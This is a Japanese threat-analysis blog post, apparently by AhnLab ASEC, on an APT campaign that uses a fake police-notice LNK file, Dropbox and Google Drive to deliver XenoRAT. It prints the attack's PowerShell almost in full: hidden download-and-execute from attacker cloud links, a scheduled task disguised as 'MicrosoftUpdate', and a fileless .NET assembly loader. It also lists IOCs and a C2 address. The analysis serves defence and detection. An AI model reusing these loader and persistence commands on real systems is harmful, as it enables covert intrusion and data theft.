Quantcast
Channel: ASEC
Viewing all articles
Browse latest Browse all 190

クラウドストレージを活用する APT 攻撃

$
0
0

AhnLab SEcurity intelligence Center(ASEC)では、GoogleDrive、OneDrive、DropBox のようなクラウドサービスを使用してユーザーの情報を収集したり、マルウェアを配布する攻撃事例の共有を続けてきた。[1][2][3] 攻撃者は、主に不正なスクリプトや RAT マルウェア、デコイドキュメントファイルなどをクラウドサーバーにアップロードして攻撃を実行する。アップロードされた複数のファイルは有機的に動作し、様々な不正な振る舞いを実行する。

最初の配布ファイルから最終的な RAT タイプのマルウェアが実行されるプロセスは、以下の通りである。

図1. 動作構造

このような攻撃のタイプは[図1]のように複数のファイルが連結しており、すべて攻撃者のクラウドを通じて動作する。これにより、本文で未確認のマルウェアがダウンロードされたり、情報流出のほか、様々な不正な振る舞いが実行されることがある。

最初の配布ファイルでは EXE、ショートカットファイル(*.LNK)などが確認され、本文では最近 APT 攻撃に頻繁に使用される LNK ファイルを通じて動作プロセスを説明する。

1. 配布ファイル(ショートカットファイル(*.LNK))

確認された LNK ファイルは以下のように HTML ドキュメントに偽装しており、ユーザーのクリックを誘導するファイル名を持っている。

  • 警察庁サイバー捜査局 – インターネット利用記録 (pc の安全のため今すぐご確認ください).html.lnk
図2. LNK のプロパティ

LNK ファイルには PowerShell コマンドが含まれている。LNK ファイルを実行すると Base64 で難読化されたコマンドをデコードし、TEMP フォルダーに ms_temp_08.ps1 のファイル名で保存した後、実行する。

..\..\..\..\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe  
"$ss =\"[Base64 でエンコードされたコマンド]\"; 
$aa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));
$cc = [System.IO.Path]::GetTempPath();
$dd = \"ms_temp_08.ps1\";
$ee = Join-Path $cc $dd;
$aa | Out-File -FilePath $ee; 
$aaaaa= 89897878; 
powershell -windowstyle hidden -ExecutionPolicy Bypass $ee"

  • ms_temp_08.ps1

生成された ms_temp_08.ps1 はデコイドキュメントファイルと更なる不正なファイルのダウンロード、およびタスクスケジューラー登録を実行する。実行される PowerShell コマンドは以下の通りである。

$hhh = Join-Path ([System.IO.Path]::GetTempPath()) "警察庁サイバー捜査局 – インターネット利用記録 (pc の安全のため今すぐご確認ください).html";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/lpoo2f42y7x5uy6druxa0/SoJ****.html?rlkey=ckv37q02rh9j1qsw7ed28bimv&st=64zsdvba&dl=0" -OutFile $hhh; & $hhh;
$filePath = Join-Path ([System.IO.Path]::GetTempPath()) "ms_update.ps1";
$str = '$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1"; Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/SoJ****-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;';
$str | Out-File -FilePath $filePath -Encoding UTF8;
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -nop  -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& {$filePath = Join-Path ([System.IO.Path]::GetTempPath()) \"ms_update.ps1\";powershell -windowstyle hidden -ExecutionPolicy Bypass -File $filePath;}"';
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30);
$settings = New-ScheduledTaskSettingsSet -Hidden;
Register-ScheduledTask -TaskName "MicrosoftUpdate" -Action $action -Trigger $trigger -Settings $settings;
$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "first.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/gswgcmbktt1hthntozgep/SoJ****-F.txt?rlkey=n9xglo02xfnf14b9btgtw8aqi&st=w9zt1es5&dl=0" -OutFile $aaa; & $aaa;

この PowerShell コマンドは、最初にデコイドキュメントファイル(正常な HTML ファイル)をダウンロードする。ダウンロードされたファイルは LNK ファイル名と同じ「警察庁サイバー捜査局 – インターネット利用記録 (pc の安全のため今すぐご確認ください)」という名前で保存および実行し、ユーザーに不正な振る舞いが行われていることを気づきにくくさせる。デコイドキュメントファイルは解析当時ダウンロードされず、ファイルの内容の確認は不可能であった。

その後、TEMP フォルダーに ms_update.ps1 という名前の PowerShell スクリプトファイルを生成し、そのスクリプトが30分ごとに実行されるよう MicrosoftUpdate という名前でタスクスケジューラーに登録する。

図3. 登録されたタスクリスト

また、攻撃者の DropBox から SoJ****-F.txt というファイルをダウンロードし、TEMP フォルダーに first.ps1 という名前で保存したあと実行する。

  • ms_update.ps1

このスクリプトファイルは、攻撃者の DropBox から SoJ****-X.txt というファイルをダウンロードし、TEMP フォルダーに info.ps1 という名前で保存したあと実行する。

$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/So****g-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;

解析中、攻撃者の別の DropBox からは HTML だけでなく、Word ドキュメント、アレアハングルドキュメント、PDF など様々なフォーマットのデコイドキュメントファイルが確認された。さらに確認されたデコイドキュメントは以下の通りである。

図4. さらに確認されたデコイドキュメント(1)
図5. さらに確認されたデコイドキュメント(2)
図6. さらに確認されたデコイドキュメント(3)
図7. さらに確認されたデコイドキュメント(4)

このように、攻撃者は様々なテーマのデコイドキュメントを所有しており、このほかにも大学への協力要請書、企業の納品確認書、国際情勢に関連するドキュメントファイルが確認された。特に、保証金契約書および保険/ローンの内容のように、特定個人の情報が含まれたファイルをデコイドキュメントとして使用していることから、攻撃対象を明確に選定してマルウェアを配布しているものと見られる。

2. クラウドを通じてダウンロードされたマルウェア

まず、LNK ファイルを通じて攻撃者のクラウドから first.ps1(SoJ****-F.txt)と info.ps1(SoJ****-X.txt)の二つのファイルがダウンロードされる。解析当時、上記で確認された DropBox から当該ファイルはダウンロードされなかったが、攻撃者の別の DropBox から当該タイプのスクリプトファイルを収集した。

特定個人の名前でスクリプトファイルがアップロードされているケースも確認され、攻撃対象によって異なる不正な振る舞いが実行されるものと推定できる。追加で確認されたファイル名は以下の通りである。

ファイル名
SoJ***g-F.txt
Kim***un-F.txt
I***ong-F.txt
Hong***a-F.txt
Jon***n-F.txt
0513chrome-f.txt
0514edge-f.txt
表. 確認されたスクリプトファイル名

攻撃者はユーザーごとにフォルダーを生成しており、各フォルダーにはデコイドキュメントと[name]-F.txt、[name]-X.txt ファイルが存在した。スクリプトファイルはすべて DropBox 認証のためにトークンベースの認証方式を使用し、各ファイルには client_id、client_secret、refresh_token の値が含まれている。

各ファイルの解析情報は以下の通りである。

  • first.ps1(SoJ****-F.txt)

PowerShell コマンドが含まれたスクリプトであり、実行するとユーザー PC の情報を収集して攻撃者の DropBox にアップロードする。
実行するとユーザー PC の情報を収集し、TEMP または APPDATA フォルダーに[IP アドレス]-[現在時刻]-Run-[name].txt(または[IP アドレス]-[現在時刻]-RRR-[name].txt)ファイルに保存する。収集する情報は以下の通りである。

  1. OS Caption, Version, BuildNumber, OSArchitecture 情報
  2. インストールされたアンチウイルス情報
  3. 最終ブート時間
  4. PC の種類(Laptop / Desktop)
  5. プロセス情報
  6. PowerShell 実行ポリシー情報

その後、収集された情報は攻撃者の DropBox に「[IP アドレス]-[現在時刻]-Run-[name].txt(または[IP アドレス]-[現在時刻]-RRR-[name].txt)」の名前でアップロードされる。

図8. 流出した PC 情報
  • info.ps1(SoJ****-X.txt)

PowerShell コマンドが含まれたスクリプトであり、実行すると特定のファイルを攻撃者の DropBox にアップロードし、さらなるマルウェアをダウンロードして実行する。

TEMP または APPDATA フォルダーに[IP アドレス]-[現在時刻]-XXX-[name].txt ファイルを生成し、同じファイル名で攻撃者の DropBox にアップロードする。解析当時、このファイルに保存されるデータは存在せず、当該スクリプトが実行されたかどうかを確認しているものと推定される。ただし、今後攻撃者によりスクリプトコードが修正された場合、様々な情報を収集して流出させる恐れがある。

ファイルをアップロードしたあと、さらなるマルウェアをダウンロードするが、このとき DropBox ではなく Google Drive を利用する。Google Drive を通じてダウンロードされたファイルは TEMP フォルダーに system-xn.dat のファイル名で保存される。

$dropboxShareLink = "hxxps://drive.google.com/uc?export=download&id=[생략]"


$tempPath = [System.IO.Path]::GetTempPath();
$filePath = Join-Path $tempPath "system-xn.dat"
Invoke-WebRequest -Uri $dropboxShareLink -OutFile $filePath

[byte[]]$bytes = [System.IO.File]::ReadAllBytes($filePath);	
$bytes[0] = 0x1F;
$bytes[1] = 0x8B;
<中略>$assembly = [System.Reflection.Assembly]::Load($exBytes);

Remove-Item -Path $filePath

$name = "Main";
foreach ($type in $assembly.GetTypes()){foreach ($method in $type.GetMethods()){if (($method.Name.ToLower()).equals($name.ToLower())){$method.Invoke($null, @());}}}

ダウンロードされたファイルは、以下のように RTF ドキュメント形式に見えるよう、ファイルの最初の部分(File signature)が変更されている。

図9. ファイルの最初の部分(File signature)が変更されたマルウェア

変更された7バイトを、上記スクリプトで確認された値の GZ 圧縮ファイルの File signature に変更すれば、圧縮されたファイルを確認することができる。

図10. 圧縮された追加マルウェア

解凍されたデータは C#(.NET) ファイルであり、攻撃者は内部の「Main」Method を呼び出して実行することにより、マルウェアが Fileless 形式で実行できるようにする。

  • system-xn.dat

上記プロセスを通じて実行されたマルウェアは XenoRAT であり、攻撃者のコマンドに応じてマルウェアのロード、プロセスの実行および終了、C2 通信など、様々な不正な振る舞いを実行することができる。これは攻撃者によりカスタマイズされた XenoRAT であり、「swolf-20010512」を Mutex の名前で使用することが特徴である。

C2 : 159.100.29[.]122:8811

図11. Xeno RAT コードの一部

解析中に確認された攻撃者のメールアドレス情報は、以下の通りである。

  • kumasancar@gmail[.]com
  • effortnully@gmail[.]com
  • tangdang77790@gmail[.]com
  • tantanibox@gmail[.]com
  • swolf0512@gmail[.]com

ここまで説明したように、攻撃者のクラウドには個人情報が含まれ多数のデコイドキュメントファイルが確認された。攻撃者は攻撃の対象を事前に選定し、関連する情報を十分に収集したあと、マルウェアを配布するものと見られる。マルウェアが実行されると情報流出、さらなるマルウェアのダウンロードだけでなく、感染システムの操作など様々な不正な振る舞いを実行できるため、ユーザーは特に注意しなければならない。また、最近ショートカットファイルを利用したマルウェアが多数確認されているため、ユーザーはファイルを実行する前にファイル名の拡張子とフォーマットが一致しているか確認する必要がある。

ファイル検知
Downloader/LNK.Powershell.S2547 (2024.04.12.03)
Trojan/PowerShell.Generic (2024.05.14.03)
Backdoor/Win.XenoRAT.R644842 (2024.04.12.02)
Backdoor/Win.XenoRAT.R644844 (2024.04.12.02)

IOC

MD5
c45d209f666f77d70bed61e6fca48bc2 (LNK)
52e5d2cd15ea7d0928e90b18039ec6c6 (SCRIPT)
f396bf5ff64656b592fe3d665eab8aa3 (SCRIPT)
dd2988c792b0252db4c39309e6cb2c48 (SCRIPT)
66b5ffb611505f0067c868dfa84aea60 (SCRIPT)
d9d9b8375f74812c41a1cd9abce25ac9 (SCRIPT)
5d2fdc098d1e1a7674a40ef9140058ed (SCRIPT)
bcb0a6360f057475c63fb16e61fb3adc (SCRIPT)
6ad00d48fdce8dc632b13f6c2438f893 (SCRIPT)
238cd8f609b06258ab8b4ded82ebbff8 (XenoRAT)

C&C
159.100.29[.]122:8811

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

The post クラウドストレージを活用する APT 攻撃 appeared first on ASECブログ.


Viewing all articles
Browse latest Browse all 190

Trending Articles